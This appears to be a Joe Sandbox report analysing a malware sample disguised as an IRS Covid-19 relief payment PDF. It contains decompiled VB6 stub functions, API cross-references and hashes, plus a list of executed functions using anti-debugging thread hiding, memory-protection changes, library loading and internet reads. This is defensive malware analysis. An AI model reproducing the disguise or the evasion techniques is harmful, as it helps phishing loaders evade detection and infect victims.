Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: __vba$Free$CheckChkstkCopyHresultNew2
String ID: Prt
API String ID: 2810356740-3650902515
Opcode ID: 3cd330cb0d350c7452fbee3da109e29c6f785d3a1ec078119ed92cbeeeda2399
Instruction ID: d612efe0ea8d8d9f183d1f94e9dfa51c829ce9138aa5c4a00835cb3acd507f38
Opcode Fuzzy Hash: 3cd330cb0d350c7452fbee3da109e29c6f785d3a1ec078119ed92cbeeeda2399
Instruction Fuzzy Hash: EA21E574A01208AFCB00DFA5C989FDDBBF5BB08758F20406AF101B72B1C7799A85DB59

Uniqueness

Uniqueness Score: -1.00%

Function 004123F1, Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E004123F1(void* __ebx, void* __ecx, void* __edi, void* __esi, void* _a12) {
				intOrPtr _v8;
				intOrPtr _v12;
				void* _v36;
				char _v56;
				intOrPtr _v80;
				char _v88;
				short _v92;
				short _t18;
				short _t19;
				intOrPtr _t30;

				_push(0x4012e6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t30;
				_push(0x4c);
				L004012E0();
				_v12 = _t30;
				_v8 = 0x4012a0;
				L0040144E();
				_push(1);
				_push( &_v56);
				L00401388();
				_v80 = 0x402b58;
				_v88 = 0x8008;
				_push( &_v56);
				_t18 =  &_v88;
				_push(_t18);
				L004013F4();
				_v92 = _t18;
				L00401448();
				_t19 = _v92;
				if(_t19 != 0) {
					_push(L"Vastiest");
					L00401382();
				}
				asm("wait");
				_push(0x412491);
				L00401448();
				return _t19;
			}

0x004123f6
0x00412401
0x00412402
0x00412409
0x0041240c
0x00412414
0x00412417
0x00412424
0x00412429
0x0041242e
0x0041242f
0x00412434
0x0041243b
0x00412445
0x00412446
0x00412449
0x0041244a
0x0041244f
0x00412456
0x0041245b
0x00412461
0x00412463
0x00412468
0x00412468
0x0041246d
0x0041246e
0x0041248b
0x00412490

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 0041240C
__vbaVarDup.MSVBVM60(?,?,?,?,004012E6), ref: 00412424
#526.MSVBVM60(?,00000001,?,?,?,?,004012E6), ref: 0041242F
__vbaVarTstNe.MSVBVM60(00008008,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 0041244A
__vbaFreeVar.MSVBVM60(00008008,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 00412456
#532.MSVBVM60(Vastiest,00008008,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00412468
__vbaFreeVar.MSVBVM60(00412491,00008008,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0041248B

Strings

Vastiest, xrefs: 00412463

Memory Dump Source

Source File: 00000000.00000002.679466130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.679462208.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.679474835.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.679478639.0000000000415000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: __vba$Free$#526#532Chkstk
String ID: Vastiest
API String ID: 3418039184-17200459
Opcode ID: 10847f5bba36d83f0cf78b723fffdd1fd955851f9f82fc6e30cf524097c2a677
Instruction ID: f01e7cb990a57aec77d09de408f7b29578015a7571aededdc2cad549c882aa70
Opcode Fuzzy Hash: 10847f5bba36d83f0cf78b723fffdd1fd955851f9f82fc6e30cf524097c2a677
Instruction Fuzzy Hash: 64010C71901249AADB00EBD1CA86FDEB778EF04B44F50442FB401B65A0DBBC5A45CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00411DE6, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 72
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E00411DE6(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v28;
				intOrPtr* _v32;
				signed int _v36;
				intOrPtr* _v40;
				signed int _v44;
				char _v56;
				signed int _v60;
				signed int _v64;
				signed int _t45;
				signed int _t49;
				void* _t54;
				void* _t56;
				intOrPtr _t57;

				_t57 = _t56 - 0xc;
				 *[fs:0x0] = _t57;
				L004012E0();
				_v16 = _t57;
				_v12 = 0x401250;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x28,  *[fs:0x0], 0x4012e6, _t54);
				if( *0x41333c != 0) {
					_v56 = 0x41333c;
				} else {
					_push(0x41333c);
					_push(0x402a5c);
					L00401472();
					_v56 = 0x41333c;
				}
				_t9 =  &_v56; // 0x41333c
				_v32 =  *((intOrPtr*)( *_t9));
				_t45 =  *((intOrPtr*)( *_v32 + 0x4c))(_v32,  &_v28);
				asm("fclex");
				_v36 = _t45;
				if(_v36 >= 0) {
					_v60 = _v60 & 0x00000000;
				} else {
					_push(0x4c);
					_push(0x402a4c);
					_push(_v32);
					_push(_v36);
					L0040146C();
					_v60 = _t45;
				}
				_v40 = _v28;
				_t49 =  *((intOrPtr*)( *_v40 + 0x28))(_v40);
				asm("fclex");
				_v44 = _t49;
				if(_v44 >= 0) {
					_v64 = _v64 & 0x00000000;
				} else {
					_push(0x28);
					_push(0x402a6c);
					_push(_v40);
					_push(_v44);
					L0040146C();
					_v64 = _t49;
				}
				L00401466();
				_push(0x411edb);
				return _t49;
			}

0x00411de9
0x00411df8
0x00411e02
0x00411e0a
0x00411e0d
0x00411e14
0x00411e23
0x00411e2d
0x00411e47
0x00411e2f
0x00411e2f
0x00411e34
0x00411e39
0x00411e3e
0x00411e3e
0x00411e4e
0x00411e53
0x00411e62
0x00411e65
0x00411e67
0x00411e6e
0x00411e87
0x00411e70
0x00411e70
0x00411e72
0x00411e77
0x00411e7a
0x00411e7d
0x00411e82
0x00411e82
0x00411e8e
0x00411e99
0x00411e9c
0x00411e9e
0x00411ea5
0x00411ebe
0x00411ea7
0x00411ea7
0x00411ea9
0x00411eae
0x00411eb1
0x00411eb4
0x00411eb9
0x00411eb9
0x00411ec5
0x00411eca
0x00000000

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 00411E02
__vbaNew2.MSVBVM60(00402A5C,0041333C,?,?,?,?,004012E6), ref: 00411E39
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402A4C,0000004C), ref: 00411E7D
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402A6C,00000028), ref: 00411EB4
__vbaFreeObj.MSVBVM60 ref: 00411EC5

Strings

\*@<3A, xrefs: 00411EB1
<3A, xrefs: 00411E4E

Memory Dump Source

Source File: 00000000.00000002.679466130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.679462208.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.679474835.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.679478639.0000000000415000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: __vba$CheckHresult$ChkstkFreeNew2
String ID: <3A$\*@<3A
API String ID: 1616694062-3956573949
Opcode ID: 56a9179bfc45636975b3e9189ebffd2e60af7bc0a72c75a86c04b3f5c38549e1
Instruction ID: 8cf1e3d9cda7decc668525d179fee75ad9f6fbf24f6fca26fefd4ed57b238447
Opcode Fuzzy Hash: 56a9179bfc45636975b3e9189ebffd2e60af7bc0a72c75a86c04b3f5c38549e1
Instruction Fuzzy Hash: E531C274E40208AFCF00EF95C989BDEBBF5AB08715F10806AF501B62B1C7795A859F59

Uniqueness

Uniqueness Score: -1.00%

Function 0041206A, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 51%

			E0041206A(void* __ebx, void* __edi, void* __esi, signed int* _a20) {
				intOrPtr _v12;
				intOrPtr _v16;
				char _v44;
				intOrPtr _v52;
				intOrPtr _v60;
				intOrPtr* _v64;
				signed int _v68;
				intOrPtr* _v80;
				signed int _v84;
				char* _t31;
				signed int _t35;
				void* _t47;
				intOrPtr _t48;

				_t48 = _t47 - 0xc;
				_push(0x4012e6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t48;
				_push(0x3c);
				L004012E0();
				_v16 = _t48;
				_v12 = 0x401280;
				 *_a20 =  *_a20 & 0x00000000;
				if( *0x413010 != 0) {
					_v80 = 0x413010;
				} else {
					_push("Prt");
					_push(0x401fd0);
					L00401472();
					_v80 = 0x413010;
				}
				_t31 =  &_v44;
				L00401478();
				_v64 = _t31;
				_v52 = 1;
				_v60 = 2;
				L004012E0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t35 =  *((intOrPtr*)( *_v64 + 0x1d4))(_v64, 0x10, _t31,  *((intOrPtr*)( *((intOrPtr*)( *_v80)) + 0x31c))( *_v80));
				asm("fclex");
				_v68 = _t35;
				if(_v68 >= 0) {
					_v84 = _v84 & 0x00000000;
				} else {
					_push(0x1d4);
					_push(0x4028f4);
					_push(_v64);
					_push(_v68);
					L0040146C();
					_v84 = _t35;
				}
				L00401466();
				_push(0x412167);
				return _t35;
			}

0x0041206d
0x00412070
0x0041207b
0x0041207c
0x00412083
0x00412086
0x0041208e
0x00412091
0x0041209b
0x004120a5
0x004120bf
0x004120a7
0x004120a7
0x004120ac
0x004120b1
0x004120b6
0x004120b6
0x004120da
0x004120de
0x004120e3
0x004120e6
0x004120ed
0x004120f7
0x00412101
0x00412102
0x00412103
0x00412104
0x0041210d
0x00412113
0x00412115
0x0041211c
0x00412138
0x0041211e
0x0041211e
0x00412123
0x00412128
0x0041212b
0x0041212e
0x00412133
0x00412133
0x0041213f
0x00412144
0x00000000

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 00412086
__vbaNew2.MSVBVM60(00401FD0,Prt,?,?,?,?,004012E6), ref: 004120B1
__vbaObjSet.MSVBVM60(?,00000000), ref: 004120DE
__vbaChkstk.MSVBVM60(?,00000000), ref: 004120F7
__vbaHresultCheckObj.MSVBVM60(00000000,?,004028F4,000001D4), ref: 0041212E
__vbaFreeObj.MSVBVM60 ref: 0041213F

Strings

Prt, xrefs: 0041209E, 004120A7, 004120B6, 004120BF

Memory Dump Source

Source File: 00000000.00000002.679466130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.679462208.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.679474835.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.679478639.0000000000415000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: __vba$Chkstk$CheckFreeHresultNew2
String ID: Prt
API String ID: 3189907775-3650902515
Opcode ID: cf64f467370a9ec8fbef5f3da86418269c9ac679f4a03f2b1424fc23c680e09f
Instruction ID: f502f9a4f8dae7770ac2c98378d6c599d0d12f59148c93a928fe447e8b8e8e8c
Opcode Fuzzy Hash: cf64f467370a9ec8fbef5f3da86418269c9ac679f4a03f2b1424fc23c680e09f
Instruction Fuzzy Hash: 7B214870D00208EFCB10EF91C84ABCEBBB5BF08708F10446AF501BB2A0C7B95955DB59

Uniqueness

Uniqueness Score: -1.00%

Function 00411B8E, Relevance: 9.0, APIs: 6, Instructions: 35
COMMON

Download Yara Rule

C-Code - Quality: 47%

			E00411B8E(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr _v8;
				intOrPtr _v12;
				void* _v36;
				char _v56;
				char _v72;
				char* _t14;
				intOrPtr _t25;

				_push(0x4012e6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t25;
				_push(0x38);
				L004012E0();
				_v12 = _t25;
				_v8 = 0x401220;
				_push( &_v56);
				L004013BE();
				_push(1);
				_push( &_v56);
				_t14 =  &_v72;
				_push(_t14);
				L004013C4();
				L00401460();
				L00401448();
				_push(0x411c09);
				L00401448();
				return _t14;
			}

0x00411b93
0x00411b9e
0x00411b9f
0x00411ba6
0x00411ba9
0x00411bb1
0x00411bb4
0x00411bbe
0x00411bbf
0x00411bc4
0x00411bc9
0x00411bca
0x00411bcd
0x00411bce
0x00411bd9
0x00411be1
0x00411be6
0x00411c03
0x00411c08

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 00411BA9
#610.MSVBVM60(?,?,?,?,?,004012E6), ref: 00411BBF
#552.MSVBVM60(?,?,00000001,?,?,?,?,?,004012E6), ref: 00411BCE
__vbaVarMove.MSVBVM60(?,?,00000001,?,?,?,?,?,004012E6), ref: 00411BD9
__vbaFreeVar.MSVBVM60(?,?,00000001,?,?,?,?,?,004012E6), ref: 00411BE1
__vbaFreeVar.MSVBVM60(00411C09,?,?,00000001,?,?,?,?,?,004012E6), ref: 00411C03

Memory Dump Source

Source File: 00000000.00000002.679466130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.679462208.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.679474835.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.679478639.0000000000415000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: __vba$Free$#552#610ChkstkMove
String ID:
API String ID: 3185064854-0
Opcode ID: c42394ce178e86fbdb28241bd70088957e7a34611e44449ced51ed92342635c7
Instruction ID: 6cdf41f560bb084cfba17ab25f5f6027a98da6cb342296e963828326e51c0f82
Opcode Fuzzy Hash: c42394ce178e86fbdb28241bd70088957e7a34611e44449ced51ed92342635c7
Instruction Fuzzy Hash: 87F0F97195020CBBDB00EBD1C996FDEB7BCEB04748F50456AB101B24A1EBBC6A048A69

Uniqueness

Uniqueness Score: -1.00%

Function 00411C24, Relevance: 6.0, APIs: 4, Instructions: 28
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E00411C24(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, void* _a12) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v28;
				void* _t14;
				void* _t21;
				void* _t23;
				intOrPtr _t24;

				_t24 = _t23 - 0xc;
				 *[fs:0x0] = _t24;
				L004012E0();
				_v16 = _t24;
				_v12 = 0x401230;
				_v8 = 0;
				_t14 =  *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0xc,  *[fs:0x0], 0x4012e6, _t21);
				L00401436();
				L004013B8();
				_push(0x411c82);
				L00401430();
				return _t14;
			}

0x00411c27
0x00411c36
0x00411c40
0x00411c48
0x00411c4b
0x00411c52
0x00411c61
0x00411c6a
0x00411c6f
0x00411c74
0x00411c7c
0x00411c81

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 00411C40
__vbaStrCopy.MSVBVM60(?,?,?,?,004012E6), ref: 00411C6A
#598.MSVBVM60(?,?,?,?,004012E6), ref: 00411C6F
__vbaFreeStr.MSVBVM60(00411C82,?,?,?,?,004012E6), ref: 00411C7C

Memory Dump Source

Source File: 00000000.00000002.679466130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.679462208.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.679474835.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.679478639.0000000000415000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: __vba$#598ChkstkCopyFree
String ID:
API String ID: 978822778-0
Opcode ID: b6926899aec3d1c561244313dde466dc1b30d6c5ee9f4939a7b7083b825eebfa
Instruction ID: 9e6d706227f32ac7caad4a34c5e015df5b240551713832e8fbfa390f3360e2c2
Opcode Fuzzy Hash: b6926899aec3d1c561244313dde466dc1b30d6c5ee9f4939a7b7083b825eebfa
Instruction Fuzzy Hash: 8CF05E30540208ABCB00EF95C886F8EBFB8FF04744F40806AB500B72B1D7789941CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0041200C, Relevance: 6.0, APIs: 4, Instructions: 24
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E0041200C(void* __ebx, void* __ecx, void* __edi, void* __esi, void* _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				void* _v36;
				void* _t7;
				intOrPtr _t17;

				_push(0x4012e6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t17;
				_t7 = 0x14;
				L004012E0();
				_v12 = _t17;
				_v8 = 0x401270;
				L0040144E();
				L004013B8();
				_push(0x412057);
				L00401448();
				return _t7;
			}

0x00412011
0x0041201c
0x0041201d
0x00412026
0x00412027
0x0041202f
0x00412032
0x0041203f
0x00412044
0x00412049
0x00412051
0x00412056

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 00412027
__vbaVarDup.MSVBVM60(?,?,?,?,004012E6), ref: 0041203F
#598.MSVBVM60(?,?,?,?,004012E6), ref: 00412044
__vbaFreeVar.MSVBVM60(00412057,?,?,?,?,004012E6), ref: 00412051

Memory Dump Source

Source File: 00000000.00000002.679466130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.679462208.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.679474835.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.679478639.0000000000415000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: __vba$#598ChkstkFree
String ID:
API String ID: 2394488138-0
Opcode ID: ec14094689a7087ac3094d36c36e1f13e7048d077afe31fb4515cfde241db642
Instruction ID: 20e398584369487de9feb818907f35f68e94218e35c3e53867f457522a9980d4
Opcode Fuzzy Hash: ec14094689a7087ac3094d36c36e1f13e7048d077afe31fb4515cfde241db642
Instruction Fuzzy Hash: 49E06571550208BBCB00EB92CC83F9ABBBCEB09B58F40416EB100B25B0E6BC2904C669

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: IRS_Covid-19_Relief_Payment_Notice_pdf.exe PID: 4168 Parent PID: 7120 IRS_Covid-19_Relief_Payment_Notice_pdf.exeCOMMON

Execution Graph

Execution Coverage:	1.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	3.4%
Total number of Nodes:	325
Total number of Limit Nodes:	12

Executed Functions

Function 00567B5F, Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 242
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?), ref: 00560ABF

Strings

1.!T, xrefs: 00560A74
l, xrefs: 00567CA6

Memory Dump Source

Source File: 00000002.00000002.1000532490.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_560000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: InformationThread
String ID: 1.!T$l
API String ID: 4046476035-3334628908
Opcode ID: 382386e96d9bd8712b058e3d89ad8ba7a48ae576842ddd97090e60b472402d96
Instruction ID: 7fcd421a2ef94854937f4af5a13e28b3491eb71304cc0b9557e5e5c64ba9c2c7
Opcode Fuzzy Hash: 382386e96d9bd8712b058e3d89ad8ba7a48ae576842ddd97090e60b472402d96
Instruction Fuzzy Hash: ED61C0307447069FEB1459B489653EF2FA3BFE6354FB4892AEC43472C5E7A28C80C681

Uniqueness

Uniqueness Score: -1.00%

Function 0056907C, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 223
libraryfilenetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 00566C23
InternetReadFile.WININET(00000004), ref: 00569733

Strings

1.!T, xrefs: 00560A74

Memory Dump Source

Source File: 00000002.00000002.1000532490.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_560000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: FileInternetLibraryLoadRead
String ID: 1.!T
API String ID: 3342106106-3147410236
Opcode ID: 2afbaeb3c6f1a3ed4dae644f1aae31eede33105a9b513d315ceef44ea01f58b5
Instruction ID: 7494e10cce3dd0af927648ce02696edc2fb4bc383ef5d81374c841e25d0ec2ab
Opcode Fuzzy Hash: 2afbaeb3c6f1a3ed4dae644f1aae31eede33105a9b513d315ceef44ea01f58b5
Instruction Fuzzy Hash: 7B512438118346EEEF241E20CA687F52E9EFF62360F744E6AD84357191D73688C8E643

Uniqueness

Uniqueness Score: -1.00%

Function 005608BF, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 203
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnumWindows.USER32(00560932,00000000,?,?), ref: 00560914
NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?), ref: 00560ABF

Strings

1.!T, xrefs: 00560A74

Memory Dump Source

Source File: 00000002.00000002.1000532490.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_560000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: EnumInformationThreadWindows
String ID: 1.!T
API String ID: 1954852945-3147410236
Opcode ID: b6dd67fb9a2edaf211bf41aaf3602ddcd21971bc2b09e8cb61292a4f489431a4
Instruction ID: e37eb6702bb05693e82b8a052819ef4b75291048626893e096c88d31151f430a
Opcode Fuzzy Hash: b6dd67fb9a2edaf211bf41aaf3602ddcd21971bc2b09e8cb61292a4f489431a4
Instruction Fuzzy Hash: 82519D307807029FEB045EB489663EF2FA3BFE6350F648629EC56472C5DBA18C41C680

Uniqueness

Uniqueness Score: -1.00%

Function 00562294, Relevance: 4.5, APIs: 1, Strings: 1, Instructions: 1035
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

1.!T, xrefs: 00560A74

Memory Dump Source

Source File: 00000002.00000002.1000532490.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_560000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: LibraryLoad
String ID: 1.!T
API String ID: 1029625771-3147410236
Opcode ID: 0bf0a2a68c3050195bc58d9e948b7c6e47a2f0795854a7e0f5667787149727b7
Instruction ID: 10de4de8ee95c8484b467b60824715a0decb3163f429212783cbd016387570f6
Opcode Fuzzy Hash: 0bf0a2a68c3050195bc58d9e948b7c6e47a2f0795854a7e0f5667787149727b7
Instruction Fuzzy Hash: 9E62A970740702AFEB245E24CD95BEA7FA2FF95360F648629FC8697280D7759C81CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00564EE3, Relevance: 4.1, APIs: 1, Strings: 1, Instructions: 648
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0={,, xrefs: 0056501E

Memory Dump Source

Source File: 00000002.00000002.1000532490.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_560000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: LibraryLoad
String ID: 0={,
API String ID: 1029625771-63937952
Opcode ID: 21f8ad1cf7633fe39a53b59756158024f5f9b0cc9e984f8658f50cc4a6885bd7
Instruction ID: 3222f1ad91d7bcfdb194ae2e01d6633fa13464d969bf71d154d023cee9defb11
Opcode Fuzzy Hash: 21f8ad1cf7633fe39a53b59756158024f5f9b0cc9e984f8658f50cc4a6885bd7
Instruction Fuzzy Hash: FC225670640206AFEF20AE60CD957EA3F63FF95350F60862AFC8657281D77589859B82

Uniqueness

Uniqueness Score: -1.00%

Function 0056137C, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 236
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtProtectVirtualMemory.NTDLL(000000FF,?,?,00000004,?,00000000,000000FF,00000007,?,00000004,00000000,?,00000000,?,00003000,00000004), ref: 00561419

Strings

W.E, xrefs: 005656EC

Memory Dump Source

Source File: 00000002.00000002.1000532490.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_560000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID: W.E
API String ID: 2706961497-3845452836
Opcode ID: 0d72979d5192eb6a08531be4da46e124c2f70800ee91200194999d43fac87c4a
Instruction ID: bf0604b4998cfca94dbcc823fb77fd8587c0239220de51b1b15768276f957717
Opcode Fuzzy Hash: 0d72979d5192eb6a08531be4da46e124c2f70800ee91200194999d43fac87c4a
Instruction Fuzzy Hash: 2A718F31184B818EDB159B3088597FA3F62FFE2791FAD455BD8824B192E7A55840C389

Uniqueness

Uniqueness Score: -1.00%

Function 00561374, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 234
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtProtectVirtualMemory.NTDLL(000000FF,?,?,00000004,?,00000000,000000FF,00000007,?,00000004,00000000,?,00000000,?,00003000,00000004), ref: 00561419

Strings

W.E, xrefs: 005656EC

Memory Dump Source

Source File: 00000002.00000002.1000532490.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_560000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID: W.E
API String ID: 2706961497-3845452836
Opcode ID: 97d33eee7659ddbb066e636752e8ca719b1b71fbebf9950a63a5010b13c1796d
Instruction ID: a38d4d3794538e6479f4218849f2f2ae406b77ffb61b105def5ed5533a0533ce
Opcode Fuzzy Hash: 97d33eee7659ddbb066e636752e8ca719b1b71fbebf9950a63a5010b13c1796d
Instruction Fuzzy Hash: A071D031184B829EDB25AF308D597FA3F66FF92390FAC055AEC864B192E7658840C349

Uniqueness

Uniqueness Score: -1.00%

Function 005613C0, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 232
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtProtectVirtualMemory.NTDLL(000000FF,?,?,00000004,?,00000000,000000FF,00000007,?,00000004,00000000,?,00000000,?,00003000,00000004), ref: 00561419

Strings

W.E, xrefs: 005656EC

Memory Dump Source

Source File: 00000002.00000002.1000532490.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_560000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID: W.E
API String ID: 2706961497-3845452836
Opcode ID: 4a591b745effed05059aabe108cdb94ff4e29acce497fd4d9019acccb9fa4534
Instruction ID: 070e06c24c6a7fc337ac00a9a37aecfef2636785856a008f2a49618234109534
Opcode Fuzzy Hash: 4a591b745effed05059aabe108cdb94ff4e29acce497fd4d9019acccb9fa4534
Instruction Fuzzy Hash: C271A031184B818EDB15AF3088597FA3F76FFE2391FAD455BE8824B192F7A55840C389

Uniqueness

Uniqueness Score: -1.00%

Function 0056094D, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 173
librarynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?), ref: 00560ABF
LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 00566C23

Strings

1.!T, xrefs: 00560A74

Memory Dump Source

Source File: 00000002.00000002.1000532490.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_560000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: InformationLibraryLoadThread
String ID: 1.!T
API String ID: 543350213-3147410236
Opcode ID: ae8e9bf2011a8eac6cfd19f26484977bfa2bbc250a85fb7d5779e8dfdb7d6ddc
Instruction ID: 6001865eec64b7aa8e0eaf40033bdfe4c7d648fd4c56217cf39111c3246872e5
Opcode Fuzzy Hash: ae8e9bf2011a8eac6cfd19f26484977bfa2bbc250a85fb7d5779e8dfdb7d6ddc
Instruction Fuzzy Hash: 8A511C206807029EEB086E7589663DF2F63BFE5745F648559EC435B2C9EBE29801C7C4

Uniqueness

Uniqueness Score: -1.00%

Function 00560943, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 160
librarynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?), ref: 00560ABF
LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 00566C23

Strings

1.!T, xrefs: 00560A74

Memory Dump Source

